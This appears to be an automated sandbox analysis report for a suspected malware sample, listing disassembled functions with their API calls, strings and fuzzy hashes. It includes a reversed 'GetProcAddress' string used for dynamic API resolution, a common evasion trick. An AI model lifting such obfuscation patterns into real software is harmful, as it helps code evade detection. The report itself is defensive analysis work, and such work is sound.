Opcode ID: 05a954cca16e272370f9ac1cd0eabebbd08e692cd4d9096e269619fd2c2a0f33
Instruction ID: bd4ea4058d532894ae9686f37fb93dc679f14eecc216d1eb4e45c111eb76b72e
Opcode Fuzzy Hash: 05a954cca16e272370f9ac1cd0eabebbd08e692cd4d9096e269619fd2c2a0f33
Instruction Fuzzy Hash: A0F09DBC9443099FD350DF28D548F1677E9FB48A14F009929EA99CB380EB3498258B52

Function 0284A790 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,0284BDF2,00000000,0284C00B,?,?,00000000,00000000), ref: 0284A7A3

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 247628b8c1feb2e7e236466855a8f0c303f798d01677e0f323818b1e94eef0a4
Instruction ID: 4a73c2ce80b84b08131b160259976303dd64fce198b23586b0fdfc296b97111e
Opcode Fuzzy Hash: 247628b8c1feb2e7e236466855a8f0c303f798d01677e0f323818b1e94eef0a4
Instruction Fuzzy Hash: 03D05EAE34E2682BA324915A2D94DBB5AFCCAC67A5F00403EF68CCA201D6008C05D6F1

Function 0284918C Relevance: 1.5, APIs: 1, Instructions: 6timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 02849190

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: LocalTime
String ID:
API String ID: 481472006-0
Opcode ID: 826dc02cb97be1f30314bd8e5388bcaace96657751e1fb4d4dbee66b4f4147a3
Instruction ID: cc3599c40f846ac031ef85725bdf38cdc6143ffdebfe423c99217c6dcbc8bc96
Opcode Fuzzy Hash: 826dc02cb97be1f30314bd8e5388bcaace96657751e1fb4d4dbee66b4f4147a3
Instruction Fuzzy Hash: 0DA01108808830028A803B2C0C022BA3088A802A20FC80F80A8F8802E2FE2E022080E3

Function 028420C4 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
Instruction ID: d9ca5c35b085eece62e9f9345e2df5b5b2dbbbf6d6fdc43b5a6e4acac797e09a
Opcode Fuzzy Hash: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
Instruction Fuzzy Hash: 44317E3213659B4EC7088B3CC8514ADAB93BE937353A843B7C071CB5D7D7B5A26E8290

Function 0284D214 Relevance: 42.1, APIs: 1, Strings: 23, Instructions: 141COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(oleaut32.dll), ref: 0284D21D

Part of subcall function 0284D1E8: GetProcAddress.KERNEL32(00000000), ref: 0284D201

Strings

VarR4FromStr, xrefs: 0284D35F
VarNot, xrefs: 0284D257
VarBstrFromDate, xrefs: 0284D3E3
VarBstrFromCy, xrefs: 0284D3CD
VarBoolFromStr, xrefs: 0284D3B7
VarOr, xrefs: 0284D307
VarMul, xrefs: 0284D299
VarDiv, xrefs: 0284D2AF
VarXor, xrefs: 0284D31D
VarNeg, xrefs: 0284D241
VarCmp, xrefs: 0284D333
VarAdd, xrefs: 0284D26D
VarSub, xrefs: 0284D283
VarCyFromStr, xrefs: 0284D3A1
oleaut32.dll, xrefs: 0284D218
VariantChangeTypeEx, xrefs: 0284D22B
VarBstrFromBool, xrefs: 0284D3F9
VarIdiv, xrefs: 0284D2C5
VarDateFromStr, xrefs: 0284D38B
VarI4FromStr, xrefs: 0284D349
VarR8FromStr, xrefs: 0284D375
VarMod, xrefs: 0284D2DB
VarAnd, xrefs: 0284D2F1

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: VarAdd$VarAnd$VarBoolFromStr$VarBstrFromBool$VarBstrFromCy$VarBstrFromDate$VarCmp$VarCyFromStr$VarDateFromStr$VarDiv$VarI4FromStr$VarIdiv$VarMod$VarMul$VarNeg$VarNot$VarOr$VarR4FromStr$VarR8FromStr$VarSub$VarXor$VariantChangeTypeEx$oleaut32.dll
API String ID: 1646373207-1918263038
Opcode ID: caa36d2e5a7bfb816cba67cab382938037002d5785464d4efd596bc924bb28cf
Instruction ID: 661224508fb9e453780601135ffdfed1d7c9354caa94bcc88eaf57b803288b48
Opcode Fuzzy Hash: caa36d2e5a7bfb816cba67cab382938037002d5785464d4efd596bc924bb28cf
Instruction Fuzzy Hash: 3A410F7DA8520C5B66186B6D7400427FFDED7C87103E0841BFE14CB788EEB4BD598A6A

Function 02856E58 Relevance: 24.5, APIs: 7, Strings: 7, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ole32.dll), ref: 02856E5E
GetProcAddress.KERNEL32(00000000,CoCreateInstanceEx), ref: 02856E6F
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 02856E7F
GetProcAddress.KERNEL32(00000000,CoAddRefServerProcess), ref: 02856E8F
GetProcAddress.KERNEL32(00000000,CoReleaseServerProcess), ref: 02856E9F
GetProcAddress.KERNEL32(00000000,CoResumeClassObjects), ref: 02856EAF
GetProcAddress.KERNEL32 ref: 02856EBF

Strings

CoInitializeEx, xrefs: 02856E79
CoReleaseServerProcess, xrefs: 02856E99
CoSuspendClassObjects, xrefs: 02856EB9
CoAddRefServerProcess, xrefs: 02856E89
ole32.dll, xrefs: 02856E59
CoCreateInstanceEx, xrefs: 02856E69
CoResumeClassObjects, xrefs: 02856EA9

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: CoAddRefServerProcess$CoCreateInstanceEx$CoInitializeEx$CoReleaseServerProcess$CoResumeClassObjects$CoSuspendClassObjects$ole32.dll
API String ID: 667068680-2233174745
Opcode ID: 7808ec168517a98ccf4247daccc985482942a37ce2f0d9fe4f6501356409a85e
Instruction ID: 1c1269691be2409520e74f4c7c5bec474fff1068001d6c48959b7c8d80d6a7a0
Opcode Fuzzy Hash: 7808ec168517a98ccf4247daccc985482942a37ce2f0d9fe4f6501356409a85e
Instruction Fuzzy Hash: 11F04CADE853756FB3107F789C85C272B5EAE11B463502829E802E5A43FF7A84244F66

Function 02842530 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 254windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,?,Unexpected Memory Leak,00002010), ref: 028428CE

Strings

Unexpected Memory Leak, xrefs: 028428C0
, xrefs: 02842814
7, xrefs: 028426A1
An unexpected memory leak has occurred. , xrefs: 02842690
Unknown, xrefs: 0284278C
The sizes of unexpected leaked medium and large blocks are: , xrefs: 02842849
The unexpected small block leaks are:, xrefs: 02842707
String, xrefs: 028427A1
bytes: , xrefs: 0284275D

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: Message
String ID: $ bytes: $7$An unexpected memory leak has occurred. $String$The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak$Unknown
API String ID: 2030045667-32948583
Opcode ID: ad2d030f8d4a090984047e4bc9d3355fbe5d0ca1bd76e67b8fa312556b4b8325
Instruction ID: a715ed48d8c5f1016263e3a88e60b12e4f91aaf9bf9dfb0464ec0437a79bf5c9
Opcode Fuzzy Hash: ad2d030f8d4a090984047e4bc9d3355fbe5d0ca1bd76e67b8fa312556b4b8325
Instruction Fuzzy Hash: B7A1E73CA0825C8BDB219A2CCC84B98BAE5EB09354F1441E5FD4DDB28ACF7599C9CF51

Function 0284252E Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 188COMMON

Download Yara Rule

Strings

Unexpected Memory Leak, xrefs: 028428C0
, xrefs: 02842814
7, xrefs: 028426A1
An unexpected memory leak has occurred. , xrefs: 02842690
The sizes of unexpected leaked medium and large blocks are: , xrefs: 02842849
The unexpected small block leaks are:, xrefs: 02842707
bytes: , xrefs: 0284275D

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID:
String ID: $ bytes: $7$An unexpected memory leak has occurred. $The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak
API String ID: 0-2723507874
Opcode ID: a35b316d4ce7857a541248ddfe6c4fcb9999432fdb603f2ba18a1dc4e116bb61
Instruction ID: 447d86a36a112c8ae5560ce847c47ae59852dfb594e6aa1211eab23f23e0df3c
Opcode Fuzzy Hash: a35b316d4ce7857a541248ddfe6c4fcb9999432fdb603f2ba18a1dc4e116bb61
Instruction Fuzzy Hash: 4271E23CA0829C8FDB219A2CCC84B98BAE5EB09344F1041E5F94DD728ADF7559C5CF52

Function 0284BD40 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 201threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,0284C00B,?,?,00000000,00000000), ref: 0284BD76

Part of subcall function 0284A744: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 0284A762

Strings

m/d/yy, xrefs: 0284BE45
mmmm d, yyyy, xrefs: 0284BE72
AMPM, xrefs: 0284BF8A
:mm, xrefs: 0284BFA9
AMPM , xrefs: 0284BF99
:mm:ss, xrefs: 0284BFC6

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: Locale$InfoThread
String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
API String ID: 4232894706-2493093252
Opcode ID: d2aa90c46125fdbabb7ae8ffc941f4dac37fa22a47bc20b50ba699a626df9dde
Instruction ID: 4239f7aeaa1bb26cf3b91d246220d77a43f60eb7daac86067dd6918dc8a3c5a1
Opcode Fuzzy Hash: d2aa90c46125fdbabb7ae8ffc941f4dac37fa22a47bc20b50ba699a626df9dde
Instruction Fuzzy Hash: F861723CB4124C9BEB04EBA8D860B9FB7BB9B48304F109436E205DB741DE39D9099B52

Function 0285AE18 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 102COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000004), ref: 0285AE38
GetModuleHandleW.KERNEL32(KernelBase,LoadLibraryExA,?,00000004,?,00000014), ref: 0285AE4F
IsBadReadPtr.KERNEL32(?,00000004), ref: 0285AEE3
IsBadReadPtr.KERNEL32(?,00000002), ref: 0285AEEF
IsBadReadPtr.KERNEL32(?,00000014), ref: 0285AF03

Strings

KernelBase, xrefs: 0285AE4A
LoadLibraryExA, xrefs: 0285AE45

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: Read$HandleModule
String ID: KernelBase$LoadLibraryExA
API String ID: 2226866862-113032527
Opcode ID: 30f5af31ae9e5d50ed1fe4e892ac46315b9d0fa741004e9e0dcf6e594d9a8cd0
Instruction ID: d02ea8964291d84ad9e54aca1bf024925d05252c7964030c10e7b27d7ac65e4e
Opcode Fuzzy Hash: 30f5af31ae9e5d50ed1fe4e892ac46315b9d0fa741004e9e0dcf6e594d9a8cd0
Instruction Fuzzy Hash: F43162BD640229BBDB24DF68CCC5F5A77A8AF05768F044610EE58DB281D730A940CBA1

Function 0284432C Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38filewindowCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,?,00000000,?,028443F3,?,?,028A17C8,?,?,0286E7A8,0284655D,0286D30D), ref: 02844365
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,028443F3,?,?,028A17C8,?,?,0286E7A8,0284655D,0286D30D), ref: 0284436B
GetStdHandle.KERNEL32(000000F5,028443B4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,028443F3,?,?,028A17C8), ref: 02844380
WriteFile.KERNEL32(00000000,000000F5,028443B4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,028443F3,?,?), ref: 02844386
MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 028443A4

Strings

Error, xrefs: 02844398
Runtime error at 00000000, xrefs: 0284435E, 0284439D

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: FileHandleWrite$Message
String ID: Error$Runtime error at 00000000
API String ID: 1570097196-2970929446
Opcode ID: a5cf74dcb8bd30c31d9b0a2af49b9e04a713432dfddcec4400594a0077b7f370
Instruction ID: 78ac3661daa44db2ea3f320eb8ba27c4cf31080ccd39bee7e9a20aef35158326
Opcode Fuzzy Hash: a5cf74dcb8bd30c31d9b0a2af49b9e04a713432dfddcec4400594a0077b7f370
Instruction Fuzzy Hash: CCF0F07CAC434C7AFA14A3A4AC0EFA9235C0710F19F180A04B338E84C09FE450C48B27

Function 0284AE44 Relevance: 10.6, APIs: 7, Instructions: 56filewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 0284ACBC: VirtualQuery.KERNEL32(?,?,0000001C), ref: 0284ACD9
Part of subcall function 0284ACBC: GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 0284ACFD
Part of subcall function 0284ACBC: GetModuleFileNameA.KERNEL32(02840000,?,00000105), ref: 0284AD18
Part of subcall function 0284ACBC: LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 0284ADAE

CharToOemA.USER32(?,?), ref: 0284AE7B
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,?,?), ref: 0284AE98
WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,?,?), ref: 0284AE9E
GetStdHandle.KERNEL32(000000F4,0284AF08,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 0284AEB3
WriteFile.KERNEL32(00000000,000000F4,0284AF08,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 0284AEB9
LoadStringA.USER32(00000000,0000FFEA,?,00000040), ref: 0284AEDB
MessageBoxA.USER32(00000000,?,?,00002010), ref: 0284AEF1

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: File$HandleLoadModuleNameStringWrite$CharMessageQueryVirtual
String ID:
API String ID: 185507032-0
Opcode ID: ac1fa77ee74ca70368e733e944677d9ee8ef990212362333388ae45d0e34be99
Instruction ID: 60ccfcd1120a7842db37e25678f59960763b40c72733bb2ddaa6ce3fc6658563
Opcode Fuzzy Hash: ac1fa77ee74ca70368e733e944677d9ee8ef990212362333388ae45d0e34be99
Instruction Fuzzy Hash: C8111CBE588208ABD300EB98CC85F9F77EDAB45700F440A19B754D61D1EE74E9448B67

Function 0284E50C Relevance: 9.1, APIs: 6, Instructions: 139COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 0284E5A5
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 0284E5C1
SafeArrayCreate.OLEAUT32(0000000C,?,?), ref: 0284E5FA
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 0284E677
SafeArrayPtrOfIndex.OLEAUT32(00000000,?,?), ref: 0284E690
VariantCopy.OLEAUT32(?,00000000), ref: 0284E6C5

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: ArraySafe$BoundIndex$CopyCreateVariant
String ID:
API String ID: 351091851-0
Opcode ID: 2c879650c84341011691a20226c27d6524aee0beb2559d3f6bcac5042424fc10
Instruction ID: 92a9468006c68d895336e99b82bdb44f5b9bdb7dfeedf5c570c455ddc9f31375
Opcode Fuzzy Hash: 2c879650c84341011691a20226c27d6524aee0beb2559d3f6bcac5042424fc10
Instruction Fuzzy Hash: 0A51B67DA0062D9BCB22DB58C880BD9B3BDBB49304F4441D5EA09E7216DA34AF858F65

Function 02843568 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 0284358A
RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,028435D9,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 028435BD
RegCloseKey.ADVAPI32(?,028435E0,00000000,?,00000004,00000000,028435D9,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 028435D3

Strings

SOFTWARE\Borland\Delphi\RTL, xrefs: 02843580
FPUMaskValue, xrefs: 028435B4

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
API String ID: 3677997916-4173385793
Opcode ID: 0507a9e1d33bedb4e117609729394b2bd5a8cb9bb25da8dbde0bbddc7fb719d1
Instruction ID: a0f9aaed8ec7b229882b4335572cda4d662f84a193419286da922a69cee60e93
Opcode Fuzzy Hash: 0507a9e1d33bedb4e117609729394b2bd5a8cb9bb25da8dbde0bbddc7fb719d1
Instruction Fuzzy Hash: EF01B57D94021CBBEB11DBA08D07FBD77ECE708710F2005A2FE04D6680EA78A610DA5A

Function 028580C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 44libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02858148,?,?,00000000,00000000,?,02858061,00000000,KernelBASE,00000000,00000000,02858088), ref: 0285810D
GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02858113
GetProcAddress.KERNEL32(?,?), ref: 02858125

Strings

sserddAcorPteG, xrefs: 028580DB
Kernel32, xrefs: 02858108

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: Kernel32$sserddAcorPteG
API String ID: 667068680-1372893251
Opcode ID: b79943c79096e16b9501d34bb0d283b3b92ee00b8c85f3a0e35778a9772e26e6
Instruction ID: 5487a9b342dfd5c7a71b9818006074901062825d84fa3e744c28afcf970a60a5
Opcode Fuzzy Hash: b79943c79096e16b9501d34bb0d283b3b92ee00b8c85f3a0e35778a9772e26e6
Instruction Fuzzy Hash: 4901447C640318AFE711EBA8D841E5E77AEEB49710F514465A900D7650EE74A9408B15

Function 0284A9D0 Relevance: 7.6, APIs: 5, Instructions: 50threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(?,00000000,0284AA67,?,?,00000000), ref: 0284A9E8

Part of subcall function 0284A744: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 0284A762

GetThreadLocale.KERNEL32(00000000,00000004,00000000,0284AA67,?,?,00000000), ref: 0284AA18
EnumCalendarInfoA.KERNEL32(Function_0000A91C,00000000,00000000,00000004), ref: 0284AA23
GetThreadLocale.KERNEL32(00000000,00000003,00000000,0284AA67,?,?,00000000), ref: 0284AA41
EnumCalendarInfoA.KERNEL32(Function_0000A958,00000000,00000000,00000003), ref: 0284AA4C

Memory Dump Source

Source File: 00000000.00000002.2622742731.0000000002841000.00000020.00001000.00020000.00000000.sdmp, Offset: 02840000, based on PE: true

Associated: 00000000.00000002.2622728802.0000000002840000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622787800.000000000286E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622840647.00000000028A2000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002997000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2622874028.0000000002999000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2840000_JDQS879kiy.jbxd

Similarity

API ID: Locale$InfoThread$CalendarEnum
String ID:
API String ID: 4102113445-0
Opcode ID: 50401b366995b83bf9f4a8aadf5591785b370e6ab52d6ca41fb24994ab510094
Instruction ID: 6d8aea24a132355bd858ca9dde2d40e1028f5c2dd0db691dbe13d54d1afa59b5
Opcode Fuzzy Hash: 50401b366995b83bf9f4a8aadf5591785b370e6ab52d6ca41fb24994ab510094
Instruction Fuzzy Hash: 7401F73D28025C6BF705EA688D22F6EB35DDB46B14F910521F614EE780EE689E104A66

